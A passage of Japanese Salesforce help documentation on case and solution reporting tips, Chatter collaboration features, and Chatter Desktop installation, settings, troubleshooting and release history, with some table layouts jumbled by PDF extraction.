自動的に次のカスタムレポートタイプが含まれます。
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レポートタイプの場所説明カスタムレポートタイプ

取引先と取引先責任者取引先責任者 (指定された発信者)

を含むエンタイトルメントと取引
先を示します。

取引先責任者を含むエンタイトル
メントと取引先

カスタマーサポートレポート契約品目名 (商品) を含むサービス
契約を示します。

契約品目名を含むサービス契約

カスタマーサポートレポートエンタイトルメントを含むサービ
ス契約を示します。

エンタイトルメントを含むサービ
ス契約

効果的なサポートレポートのヒント
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

ケースやソリューションのデータに関するヒントやベストプラクティスに従え
ば、データから多くの有益な情報を得ることができます。
• ケースについてレポートを作成するときは、レポートに [親ケース番号] 項

目を追加します。この項目は、ケースが親ケースに関連付けられているかど
うかを示します。

• ファーストコールで解決されたレポートを作成するときは、[作成時にクロー
ズ] 項目をレポートに追加します。この項目は、ケースの作成時にサポート
担当者が [保存して閉じる]ボタンを使ってクローズしたケースを示します。

• 取引先責任者のメールアドレスを含むケースレポートを作成し、そのデータ
を Excel にエクスポートした上で、Microsoft Word を使用して一括差し込み印刷
ができます。

標準レポートタイプ
• 各マスタソリューションに関連する翻訳ソリューションを要約するには、翻訳ソリューションレポートを

選択します。
• 関連付けられている取引先責任者の役割が関連するすべてのケースを表示するには、取引先責任者の役割

レポートを選択します。
• ケースに添付された記事を参照するには、[記事に関連するケースレポート] を選択します。このレポート

は、Salesforce ナレッジが有効な場合にのみ使用できます。
記事が内部アプリケーションチャネルで使用できるように設定されていない場合でも、レポートには記事
が表示されます。

カスタムレポートタイプ
• [マイルストン付きケース] レポートタイプを選択してカスタムレポートを作成し、マイルストン付きケー

スのリストを表示できます。このレポートは、エンタイトルメントが有効な場合にのみ使用できます。
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• ケースやソリューションの項目履歴管理設定された標準項目とカスタム項目の履歴を追跡するには、デー
タの種類で [ケース履歴] または [ソリューション履歴] を選択します。元の値と新しい値を参照できます。
[元の値] と [新しい値] は、検索条件の項目では使用できません。

• カスタムレポートを作成し、[ケースとメール] レポートタイプを選択し、送信および受信メールの両方を
ケース別に表示できます。この機能は、メール-to-ケースまたはオンデマンドメール-to-ケースが有効な組
織のみ使用できます。

• ケースのライフサイクルレポートを使用して、[範囲]項目の結果を参照できます。この項目は、ケースの
状況または所有者が最後に変更されてからの時間の長さを示します。状況または所有者が変更されるたび
に、カウンタは 0 に戻ります。

ポータルのケース
セルフサービスポータルを有効にしている場合は、セルフサービスポータルの使用状況を追跡するレポートを
実行できます。
• ケースコメントに関するレポートを作成するときは、[公開ケースコメント] 項目を使用してコメントが非

公開か公開かを示します。公開するコメントをチェックマークで示します。レポート結果を公開コメント
に限定するには、レポートをカスタマイズし、[公開ケースコメント 次の文字列と一致する True] という
項目検索条件を追加します。同様に、[公開ケースコメント 次の文字列と一致する 0] という検索条件を指
定すると、非公開のケースコメントのみが出力されます。

• セルフサービスポータルの推奨ソリューションによりクローズされたケースの数に関するレポートを作成
するには、[セルフサービスユーザによるクローズ] 項目を選択します。

ソリューションカテゴリ
ソリューションをカテゴリ別に並び替えるカスタムレポートを作成します。ソリューションのカテゴリを表示
するには [カテゴリ名]項目を選択し、そのカテゴリの上位のディレクトリを表示するには [親カテゴリ名]を
選択します。
• レポートに含むソリューションを特定のカテゴリに限定する場合、そのカテゴリ内のソリューションだけ

が含まれます。指定されたカテゴリのサブカテゴリのソリューションは含まれません。
• カテゴリを選択していないソリューションのレポートを作成するには、高度な検索を使用します。[カテゴ

リ名] 項目と「次の文字列と一致する」演算子を選択し、検索条件値は空白にしてください。

チームメンバー
• 自分が所属するケースチームに対してレポートを実行できるようになりました。ケースレポートを実行し

たら、[表示] ドロップダウンから [私のケースチームのケース] を選択します。
• ケースレポートの [所有者 ロール] は、他のオブジェクトとは別に定義されます。ほとんどのオブジェク

トでは、[所有者 ロール]は、ユーザのロールの [レポートに表示するロール名]項目に定義されます。ケー
スでは、代わりに [表示ラベル] 項目が使用されます。

• ケースレポートは、ユーザが所有するケースまたはキューの中のケースに限定できます。ケースレポート
最上部の [表示] ドロップダウンリストから [ユーザが所有するケース] または [キューが所有するケース] を
選択してください。
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すべてのユーザとのコラボレーション

人は協力し合わなければなりません。それはSalesforceでも同じです。作業をすばやく効率的に行うには、組織
内外の人とコラボレーションする必要があります。
ここには、Chatter、Salesforce CRM Content のようなコラボレーションツールやドキュメントに関する情報があり
ます。他の人と協力し合えば、達成できることに限界はありません。そのための最適な方法を見つけましょ
う。

社内でのコラボレーション
社内の最新情報を入手します。知識を Chatter 投稿とコメントで共有したり、グループでコラボレーション
したり、組織全体でファイルとデータにアクセスしたりします。
パートナーおよび顧客とのコラボレーション
Chatter グループの顧客やパートナーと更新を共有します。
その他のリソース
詳細情報が必要ですか? 次の動画とヒント集を確認してください。

社内でのコラボレーション

社内の最新情報を入手します。知識を Chatter 投稿とコメントで共有したり、グループでコラボレーションした
り、組織全体でファイルとデータにアクセスしたりします。

ユーザとの更新の共有 (Chatter)

更新を同僚と共有し、Chatter グループでコラボレーションして、レコードの更新を参照します。
ファイルの作成、共有、および整理
ファイルをフィードやレコードに投稿したり、Salesforce クラウドでファイルを顧客と共有したり、ローカ
ルドライブと Salesforce の間でファイルを同期したりします。

ユーザとの更新の共有 (Chatter)
更新を同僚と共有し、Chatter グループでコラボレーションして、レコードの更新を参照します。

Chatter の概要
フィード、プロファイル、グループなどの Chatter 機能を使用して、社内で情報共有やコラボレーションを
行ったり、常に最新の更新を入手したりできます。
Chatter の使用開始
安全かつリアルタイムに人とつながり、ビジネス情報を共有します。
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フィードの使用
自分と他のユーザが行った投稿およびコメントと、Salesforce 組織全体で行われたレコードの変更について、
最新の状態に保ちます。
Chatter ストリーム
Chatter ストリームは、最も有益な情報に基づいて作成するカスタムフィードです。Chatter ホームページで
ストリームを探します。最大 25 個の異なるフィードやフィード種別の投稿を結合する最大 5 個のストリー
ムを作成します。ユーザ、グループ、レコード (取引先、商談、ケースなど) のフィードを結合するストリー
ムを作成します。
投稿の操作
組織内外の他のユーザと情報を共有したり、コラボレーションしたりします。
組織内のユーザ
自分の個人用プロファイルを更新したり、組織の他の人のプロファイルを参照したりします。
レコードおよびリストビュー
レコードのフォロー設定を構成し、リストビューの Chatter フィードを確認します。レコードの推奨事項に
ついても詳しく説明します。
Chatter グループでのコラボレーション
公開、非公開、およびリストに記載しない Chatter グループを使用して、社内の特定の人とコラボレーショ
ンします。
Chatter Messenger (チャット)

同僚とすぐに安全にチャットします。Chatter Messenger は、Spring '16 リリースより後に作成された新規組織
では使用できません。
非公開メッセージ
Chatter メッセージを使用して、他の Chatter ユーザと非公開の会話を安全に行うことができます。
Chatter の質問
質問がありますか。Chatter の質問を使用して、Chatter フィードに質問を投稿してから、寄せられる解決策
を確認します。

Chatter の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

フィード、プロファイル、グループなどの Chatter 機能を使用して、社内で情報
共有やコラボレーションを行ったり、常に最新の更新を入手したりできます。
Chatterは、Salesforce組織のすべてのセキュリティ設定および権限設定に従って機
能します。2010 年 6 月 22 日より後に作成された組織では、Chatter がデフォルト
で有効になります。既存の組織については、システム管理者が Chatter を有効に
する必要があります。どのページにも右上隅に表示されるアプリケーションメ
ニューから Chatter アプリケーションにアクセスできます。システム管理者が
[Chatter]タブを他のアプリケーションに追加した場合、自分の表示をすでにカス
タマイズしていれば、手動でタブを追加する必要があります。
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一部のサードパーティ Web ブラウザプラグインと拡張は、Chatter の機能に干渉する可能性があります。Chatter

が正常に機能しなかったり、整合性のない動作をする場合は、Web ブラウザのプラグインと拡張を無効にして
から、もう一度試してみてください。
次の場合、Chatter はサポートされません。
• Microsoft® Internet Explorer 6.0 を使用している場合
• カスタマーポータルまたはパートナーポータルの外部ユーザの場合
• [コンソール] タブ内にある場合
Chatter でのユーザによる投稿とコメントは、顧客の該当する組織がプロビジョニングされている間は常に保持
されます。salesforce.com は次の制限を適用する権利を有します。
• システムで生成される追跡対象フィードの更新数。現在追跡されているフィード更新のうち、46 日以上前

のもので、いいね! もコメントもない更新は、自動的に削除されます。そのフィード更新追跡はフィードに
表示されなくなります。ただし、項目追跡の監査が有効な場合、その項目の監査履歴は引き続き使用でき
ます。

• 1 組織が 1 時間あたりに送信できるメール通知の数。
この制限は変更される場合があります。詳細は、Salesforce にお問い合わせください。

Chatter の使用開始
安全かつリアルタイムに人とつながり、ビジネス情報を共有します。

Chatter タブの概要
Chatter タブは、コラボレーションの起点であり、ここから Chatter のほぼすべてのコラボレーション機能に
すぐにアクセスできます。
最初に自動フォローする人とレコード
投稿やコメントへのいいね!

投稿またはコメントにいいね! と言うと、賛同を示し、他の人がその投稿にコメントした場合にメール通知
を受け取ることができます。
Chatter メール通知への返信
Chatter メール設定への移動
メール通知およびダイジェストの受信設定を変更するには、Chatter メール設定にアクセスします。
Chatter メールダイジェスト
メールダイジェストは、Chatterの最近の活動をタイミングよく集計するため、重要な議論を見逃しません。
自分のフィードまたはグループのフィードの更新の概要を毎日または毎週受信できます。
個人 Chatter メール設定を管理するためのガイドライン
最も重要なメールおよび個人ダイジェストとグループダイジェストの適切な頻度を選択して、Chatter メー
ルの受信数を制御します。
Chatter での「会社」や「組織」とはどのような意味ですか?

Salesforce ライセンスを持たない会社の同僚を招待できますか?
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Chatter タブの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter タブは、コラボレーションの起点であり、ここから Chatter のほぼすべて
のコラボレーション機能にすぐにアクセスできます。
Chatter タブから、次の操作が可能です。
• 投稿して自分をフォローしている人と共有したり、他のユーザの投稿にコメ

ントしたりする。
• 投稿またはコメントにいいね! と言って賛同を示す。
• プロファイルまたはグループへの投稿を共有したり、投稿へのリンクを他の

Chatter ユーザにメールまたはインスタントメッセージで送信したりする。
• 左側でフィードを表示、フィルタ、並び替えして、自分がフォローしている

人およびレコードからの投稿、自分がメンバーのグループからの投稿、自分
にメンションしている投稿、自分がブックマークした投稿、会社からのすべ
ての投稿を表示する。

• フィードを検索して、Chatterタブのフィード投稿やコメント内にある情報を
すばやく検索する。

• 投稿をブックマークして、投稿に対する以降のコメントを追跡したり、後で投稿をフォローアップするこ
とを記憶したりする。

• 投稿にトピックを追加して、投稿を分類し、見つけやすくする。
• 人、グループ、ファイル、およびトピックリストにアクセスする。
• プロファイルの写真や連絡先情報など、プロファイルを表示または更新する。
• 特定のユーザにのみ表示される非公開メッセージを読んだり送信したりする。
• お気に入りにアクセスして、お気に入りトピック、リストビュー、および Chatter フィード検索について最

新の投稿やコメントを表示する。
• 仕事や関心事に密接に関連する人、グループ、ファイル、レコードについておすすめを表示する。
• 現在 Chatter でユーザが話し合っているトピックのトレンドを表示する。
• Chatter を使用するための Salesforce ライセンスのない他のユーザを Chatter ネットワークに招待する。
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Chatter デスクトップ

Chatter デスクトップの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter デスクトップは、ブラウザを使用せずに Chatter でのコラボレーションが
可能になる無料のデスクトップアプリケーションです。Chatter デスクトップを
使用して、Chatter に投稿やコメントができ、フォローするグループとユーザ、
レコード、およびファイルに関する更新を受け取ることができます。また、
Chatter デスクトップは、チャット、非公開の Chatter メッセージをサポートし、
Windows タスクバーまたは Mac OS X Dock のポップアップ通知として Chatter更新と
非公開メッセージを表示します。

メモ: カスタマーユーザは、Chatter デスクトップをインストールして使用で
きますが、機能の一部にアクセスできません。たとえば、カスタマーユー
ザはユーザまたはレコードのフォロー、チャット、管理オプションへのア
クセスはできません。

Chatter デスクトップのインストール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce では、個人でインストールする標準バージョンと企業リリース向けの
管理バージョンの、2 種類の Chatter デスクトップインストーラを用意していま
す。
Chatter デスクトップを使用する最小要件は次のとおりです。
• Windows

– ネットブックデバイス用の 2.33GHz 以上の x86 互換プロセッサ、または Intel

Atom™ 1.6GHz 以上のプロセッサ
– Microsoft® Windows® XP、Windows Server® 2003、Windows Server 2008、Windows

Vista® Home Premium、Business、Ultimate、または Enterprise (64 ビット Edition を
含む) Service Pack 2、または Windows 7

– 512MB の RAM (推奨: 1GB)

• Mac

– Intel® Core™ Duo 1.83GHz 以上のプロセッサ
– Mac OS X v 10.5、10.6、または v10.7

– 512MB の RAM (推奨: 1GB)

重要: Chatter デスクトップは、Adobe 社のデスクトップアプリケーション向けクロスプラットフォームラ
ンタイム環境である Adobe® Integrated Runtime (AIR®) を使用しており、Adobe AIR がサポートするオペレーティ
ングシステム上でのみ実行できます。Chatter デスクトップを、Adobe AIR がサポートしていないオペレー
ティングシステム (64 ビット Linux など) で実行することはできません。Adobe AIR の詳細は、Adobe Web サ
イトを参照してください。

標準バージョン:

• マシンのシステム管理者権限が必要
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• Salesforce では、システム管理者権限は不要
• Adobe® Integrated Runtime (AIR®) の必要なバージョンが自動的にインストールされる
• Chatter デスクトップの初回起動時に、エンドユーザ使用許諾契約への同意が必要
• Chatter デスクトップの初回起動時に、「Chatter デスクトップをインストールしました」と Chatter に投稿さ

れる
• Salesforce に新バージョンがあるかどうか定期的にチェックする
標準バージョンをインストールする手順は、次のとおりです。
1. 個人設定から、[クイック検索] ボックスに「Chatter デスクトップ」と入力し、[Chatter デスクトップ]を

選択します。
2. [今すぐダウンロード] バッジをクリックします。
3. 画面の指示に従います。

メモ: システム管理者は、Chatter デスクトップダウンロードページを無効にして、ユーザからの Chatter デ
スクトップへのアクセスをブロックすることができます。

重要: Chatter デスクトップでは Adobe® Acrobat® Reader を使用して PDF ファイルをプレビューします。Chatter

デスクトップでファイルをプレビューする前に、Adobe Acrobat を Adobe の Web サイトからダウンロード
し、インストールして少なくとも 1 回は開き、インストールを完了します。

関連トピック:

Chatter デスクトップのアンインストール

Chatter デスクトップの接続

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce または Chatter のログイン情報が複数ある場合は、ログイン情報ごとに
接続を作成します。この接続によって、Chatter デスクトップが、Web 上でその
ログインによりアクセス可能なChatterデータにアクセスできるようになります。
1. をクリックし、[設定] を選択します。
2. [接続] セクションで、ログインに使用する接続名と URL を入力します。URL は

https://で始まり、salesforce.comまたは chatter.comで終わるもの
とします。たとえば、組織に https://emea.salesforce.comからログイ
ンするヨーロッパ事業部がある場合、その URL を入力し、接続名を「Europe」
と指定します。
デフォルトでは、Chatter デスクトップは Salesforce のメインインスタンス (本
番) または Force.com Sandbox に接続します。

3. [認証] をクリックし、画面の指示に従って Chatter デスクトップを承認し、ロ
グインを使用して接続します。

[設定] 画面のラジオボタンを使用してデフォルト接続を指定します。Chatter デスクトップの使用中にすばやく
接続を切り替えるには、 をクリックし、[接続の切り替え] を選択してから接続を選択します。
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メモ: 複数の接続を作成できますが、Chatter デスクトップが一度にログインできる接続は 1 つだけです。
Chatter デスクトップを使用して複数接続からデータを同時に表示することはできません。

関連トピック:

Chatter デスクトップの設定

Chatter デスクトップの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

デフォルトの Chatter デスクトップ設定はほとんどのユーザに適していますが、
いくつかの Chatter デスクトップ設定は変更が可能です。Chatter デスクトップ設
定にアクセスするには、 をクリックし、[設定]を選択します。[設定] 画面か
ら、次の操作が可能です。
• コンピュータの起動時に起動するよう Chatter デスクトップを設定する。
• 閉じると最小化されるよう Chatter デスクトップを設定する。
• ポップアップ通知を有効または無効にする。ポップアップ通知は、デフォル

トで有効になっています。
• 新しいフィード投稿とコメントのアラートを管理する (高度な設定)。
• Chatter デスクトップを常に前面に表示するように設定する (高度な設定)。
• 新しいメッセージを受信したときに、チャットウィンドウを前面に移動す

る。
• 他のユーザがあなたと新しいチャットを開始したときにサウンドを鳴らす、またはチャットが最小化され

るかフォーカスが離れた (複数のチャットがあるか別のアプリケーションを使用している場合など) ときに
サウンドを鳴らす。

• 接続を編集する。

関連トピック:

Chatter デスクトップのトラブルシューティングのヒント

Chatter デスクトップの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter デスクトップウィンドウでは、次のようになります。

目的次の
項目
のい
ずれ
かを
ク
リッ
クし
ま
す。
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チャット状況を変更します。 [チャット可能]、 [退席中]、または [オフライン]を選択します。
あなたが [オフライン] の場合、他のユーザはあなたとチャットできません。

プロファ
イル写真

あなたがフォローしているすべてのユーザとすべてのデータのフィード更新を確認し、更新を投
稿します。
• 任意のフィード投稿で、コメントを追加するには [コメント]、他のユーザがその投稿にコメン

トした場合にメール通知を受け取るには [いいね!]、投稿を削除するには [削除]をクリックしま
す (アクセス権がある場合)。

• コンピュータからファイルを投稿するには、 にファイルをドラッグするか、投稿を入力す
ると表示される をクリックします。

• リンクを投稿するには、フィードの上部にあるテキストボックスにリンクを入力するか、投稿
を入力すると表示される をクリックします。

• 更新を並び替えるフィードの上部にある [並べ替え] フィルタを使用します。
– 投稿日 — フィードを投稿日で並び替えます。コメントを表示するには、投稿の下の[すべて

のコメントを表示] をクリックします。
– 投稿日とコメント日 — フィードを投稿日とコメント日で並び替えます。各コメントは、関

連付けられた投稿の下の [すべてのコメントを表示] をクリックすると再表示されます。

あなたに転送された更新を確認し、コメントします。

他のユーザとチャットし、更新を確認します。チャットメッセージが別のウィンドウに表示され
ます。
• [チャットのお気に入り] をクリックし、お気に入りとして追加した人またはチャットを表示し

ます。お気に入りを追加するには、相手の名前の横にある、または 1 人以上のユーザとのアク
ティブなチャット内にある をクリックします。

• [フォローしている] または [フォローされている] をクリックし、ユーザの名前をクリックして
そのユーザのフィードへの更新または投稿を表示します。

• ユーザの名前の上にマウスを置きます。
– 非公開メッセージを送信するには、 をクリックします。
– お気に入りのチャットとして追加するには、 をクリックします。ユーザ名が [チャット

のお気に入り] リストに表示されます。
– ユーザをフォローするには をクリックし、フォローを停止するには クリックしま

す。
– チャットを開始するには をクリックします。チャットウィンドウの クリックし、追

加する人を検索して、最大 10 人のユーザを同じチャットに追加できます。 [オフライン]

になっているユーザとはチャットできません。

メモ: チャットは、組織で有効になっている場合にのみ使用できます。
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非公開の Chatterメッセージを参照し、返信します。メッセージをクリックして表示するか、[新規
メッセージ] をクリックして新しいメッセージを送信します。

メモ: メッセージは、組織で有効になっている場合にのみ表示できます。

グループのフィード更新を表示します。
• グループのフィードを表示する、または更新を投稿するには、グループ名をクリックするか、

グループを検索します。自分が所属するすべての公開グループおよび非公開グループに投稿で
きます。

• グループに参加するには [参加]、グループを脱退するには [メンバー] をクリックします。
• グループの説明を表示するには、 をクリックします。

フォローしているレコードを確認し、コメントします。上部のドロップダウンメニューから、表
示するレコードのタイプ (取引先など) を選択します。あなたがレコードをフォローしていない場
合、リストにレコードは表示されません。レコードの詳細を表示するには、レコード名をクリッ
クします。Chatter デスクトップには、レコードの先頭の 8 項目が表示されます。

Chatter デスクトップの設定または接続の切り替えを編集します。

データをただちに同期します。Chatter デスクトップは、データの同期を自動的に行いますが、常
にすぐに行われるとは限りません。

関連トピック:

Chatter デスクトップのトラブルシューティングのヒント

Chatter デスクトップのトラブルシューティングのヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter デスクトップのトラブルシューティングを行う場合の解決方法を検索で
きます。
Chatter デスクトップは Adobe® Integrated Runtime (AIR®) を使用します。次の表に、一
般的な AIR 関連の問題の解決方法を示します。詳細は、Adobe®知識ベースを参照
してください。

解決方法問題

共有ローカルオブジェクト (SLO) と暗号化されたローカルスト
ア (ELS) ディレクトリを削除し、Chatter デスクトップを再イン
ストールします。
SLO は最後の画面位置、サイズなどの永続的な情報を格納し、
次の場所に保存されます。

Chatter デスク
トップをイン
ストールでき
ない

• Mac OS:
/[USER]/Library/Preferences/sfdc-desktop*
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解決方法問題

• Windows Vista、Windows 7、Windows
8.x:C:\Users\<USER>\AppData\Roaming\sfdc-desktop*

• Windows XP: C:\Documents and Settings\<USER>\Application
Data\sfdc-desktop*

ELS はユーザの Oauth2.0 ID を格納し、次の場所に保存されます。
• Mac OS: /[USER]/Library/Application

Support/Adobe/AIR/ELS/sfdc-desktop*

• Windows Vista、Windows 7、Windows
8.x:C:\Users\<USER>\AppData\Roaming\Adobe\AIR\ELS\sfdc-desktop*

• Windows XP: C:\Documents and Settings\<USER>\Application
Data\Adobe\AIR\ELS\sfdc-desktop*

管理インストールを使用している場合、次の内容を確認します。Linux 上で Chatter デス
クトップがフリーズ • .chatterdesktop ファイルが適切な形式で、有効な XML が含まれている
する、ウィンドウに

• .chatterdesktop ファイル内の URL が有効で、各 URL が https:// で始まり
salesforce.com で終わるは何も表示されな

い、パスワードの保
暗号化されたローカルストレージ (ELS) キーストアのトラブルシューティングも行って
ください。詳細は、http://kb2.adobe.com/cps/492/cpsid_49267.htmlを参照
してください。

存ができない、他の
方法でも機能しない

Chatter デスクトップでは Adobe® Acrobat® Reader を使用して PDF ファイルをプレビューし
ます。Chatter デスクトップでファイルをプレビューする前に、Adobe Acrobat をAdobe の

Chatter デスクトップ
で PDF ファイルがプ
レビューされない Web サイトからダウンロードし、インストールして少なくとも 1 回は開き、インストー

ルを完了します。

同期アイコンをクリックします。コメント付きの写真
が更新されない

関連トピック:

Chatter デスクトップの設定
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Chatter デスクトップのリモートでの無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter デスクトップをインストールしたコンピュータが盗難にあったり紛失し
たりした場合には、SalesforceデータにアクセスされないようにChatter デスクトッ
プをブロックできます。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [リモートアクセス] セクションの Chatter デスクトップの横にある [取り消し]

をクリックします。

関連トピック:

Chatter デスクトップのトラブルシューティングのヒント

Chatter デスクトップのアンインストール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter デスクトップのアンインストール方法は次のとおりです。
Windows:

1. [スタート] > [コントロールパネル] > [プログラムのアンインストール]に移動
します。

2. Chatter デスクトップをダブルクリックします。右クリックして [アンインス
トール] を選択することもできます。

3. プロンプトが表示されたら、[はい] をクリックします。
Mac:

1. [アプリケーション] フォルダに移動します。スポットライトに
「applications」と入力することもできます。

2. Chatter デスクトップが含まれる salesforce.com フォルダを見つけて、それをゴ
ミ箱にドラッグします。

Chatter デスクトップのリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

この表では、Chatter デスクトップの各リリースの更新について説明します。

更新バージョン
3.2.3 • インストーラ証明書の更新

3.2.2 • インストーラ証明書の更新

3.2.1 • インストーラ証明書の更新
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3.2 • 新しいフィード投稿とコメントのデスクトップア
ラートを設定する

• Chatter デスクトップを常に前面に表示するように
設定する

• フィード投稿を削除する (アクセス権がある場合)

• すべての公開グループに投稿する
• グループの説明でスクロールとアクティブリンク

を使用できる
• その他のバグ修正 (いいね! の負の件数表示と 2 回

表示される名前、および壊れたハッシュタグトピッ
クリンクを含む)

3.1.1 • インストーラ証明書の更新

3.1 • コメントにファイルを添付する
• 名前 (ファーストネーム) で並び替えたチャットリ

ストを表示する
• グループの最終活動日を表示する
• 複数のチャットをより簡単に表示する
• チャット可能な人を識別してチャットのお気に入

りを並び替える
• Chatter フィード用および投稿にファイルをドラッ

グアンドドロップするための改善されたアイコン
を表示する

3.0 • 組織内の 1 人以上のユーザとチャットする
• コメントにいいね! と言う
• 投稿またはコメントにいいね! と言った人のリスト

を表示する
• コメントに添付されたファイルを表示する
• ダッシュボードスナップショットを表示する
• 共有メッセージを表示する
• 新しいコンポーネントを使用したフィードの改良

や、#topic の後に @メンションを追加できない問題
を含む、その他のバグ修正

2.1 • カスタマーユーザのサポート
• 非公開 Chatter メッセージのサポート
• その他のバグ修正 (OS のフォーカスを切り替えて

しまうポップアップ通知の問題を含む)
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2.0 • 新しいユーザインターフェースとビジュアルデザ
イン

• レコードを参照する

1.3.3 • @メンションのグローバル検索
• [ログイン] 画面で新規インスタンスを作成する
• 再起動しないでインスタンスを切り替えて認証す

る
• その他のバグ修正 (空の通知が生成される問題とイ

ンストーラの問題を含む)

1.3.2 • Adobe AIR に変更を適用するための中間ビルド。
Chatter デスクトップは、1.3.2 のインストールの後、
ただちに追加の更新を実行します。

1.2.1 • ノルウェー語、デンマーク語、フィンランド語、
オランダ語用の地域修正

1.2.0 • ユーザおよびグループの詳細
• 投稿が気に入ったことを示すいいね! のリンク
• @メンション (フィードに表示され、メンションし

たユーザのプロファイルにリンクする)

• #トピック (フィードに表示され、ブラウザの検索
結果にリンクする)

• @メンションと #トピックの自動入力
• 画像のキャッシュを含むパフォーマンスの強化
• ノルウェー語のサポート
• さまざまなバグ修正

1.1.1 • chatter.com で使用するための更新
• 軽微なバグ修正

1.1.0 • ファイルをクリックしてプレビュー
• [自分宛て] タブを選択して、自分に転送された投

稿を参照
• グループやユーザをクリックしてウォールを表示
• グループやユーザのウォールに書き込み

1.0.7 • 写真の読み込みの問題を解決
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1.0.6 • 人およびグループのパフォーマンスを最適化
• Chatter デスクトップ管理バージョンのリリース

1.0.5 • 開発者 Sandbox にログインするオプション
• パフォーマンスの最適化
• 韓国語の地域修正

関連トピック:

Chatter デスクトップのインストール

最初に自動フォローする人とレコード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

2010 年 6 月から、管理者が最初に Chatter をオンにすると、ユーザが容易に使用
を開始できるように組織内の次の特定の人とレコードが自動的にフォローされ
るようになりました。自動フォローされる人とレコードは、組織の規模によっ
て異なります。

フォローされるレコードフォローされる人組織の規模

最近使用されたレコードから次の順
序で最大 25 件

組織内でのすべてのユー
ザ

15 ユーザ以下

1. 自分が所有する進行中の商談
2. 自分が所有する取引先
3. 自分が所有するオープンケース
4. 自分が所有する取引先責任者
5. 自分が作成した進行中の商談
6. 自分が作成した取引先
7. 自分が作成したオープンケース
8. 自分が作成した取引先責任者
9. 自分が最後に変更した進行中の商

談
10. 自分が最後に変更した取引先
11. 自分が最後に変更したオープン

ケース
12. 自分が最後に変更した取引先責任

者
13. 自分が参照した進行中の商談
14. 自分が参照した取引先
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フォローされるレコードフォローされる人組織の規模

15. 自分が参照したオープンケース
16. 自分が参照した取引先責任者

最近使用されたレコードから次の順序で最大 25 件最大 25 人の組織内の次のユーザ
(該当する場合)

16 ユーザ以上
1. 自分が所有する進行中の商談

• 自分のマネージャ 2. 自分が所有する取引先
• 自分のマネージャの上司ユーザ 3. 自分が所有するオープンケース
• 自分の直属部下

4. 自分が所有する取引先責任者
• 自分の取引先チームのチームメ

イト 5. 自分が作成した進行中の商談
6. 自分が作成した取引先• 自分の商談チームのチームメイ

ト 7. 自分が作成したオープンケース
8. 自分が作成した取引先責任者
9. 自分が最後に変更した進行中の商談
10. 自分が最後に変更した取引先
11. 自分が最後に変更したオープンケース
12. 自分が最後に変更した取引先責任者
13. 自分が参照した進行中の商談
14. 自分が参照した取引先
15. 自分が参照したオープンケース
16. 自分が参照した取引先責任者

メモ: レコードの自動フォロー設定は、システム管理者がChatterをオンにした時点ですでに存在している
レコードにのみ適用されます。その後に作成されたレコードについては、Chatterフィードで受信する更新
の数を減らすためにデフォルトで自動フォローは無効になっています。ただし、それ以降作成するすべ
てのレコードの更新を受信する場合、個人設定で自動フォローを有効にできます。

関連トピック:

おすすめユーザ
おすすめレコード
自分が作成したレコードの自動フォロー
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投稿やコメントへのいいね!

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

投稿またはコメントにいいね! と言うと、賛同を示し、他の人がその投稿にコメ
ントした場合にメール通知を受け取ることができます。
投稿またはコメントの下で、[いいね!] をクリックします。
投稿で [いいね!] をクリックすると、他のユーザがその投稿にコメントした場合
にメール通知を受け取ります。コメントで [いいね!] をクリックすると、コメン
トを投稿したユーザにのみメール通知が送られます。それ以降にコメントがあっ
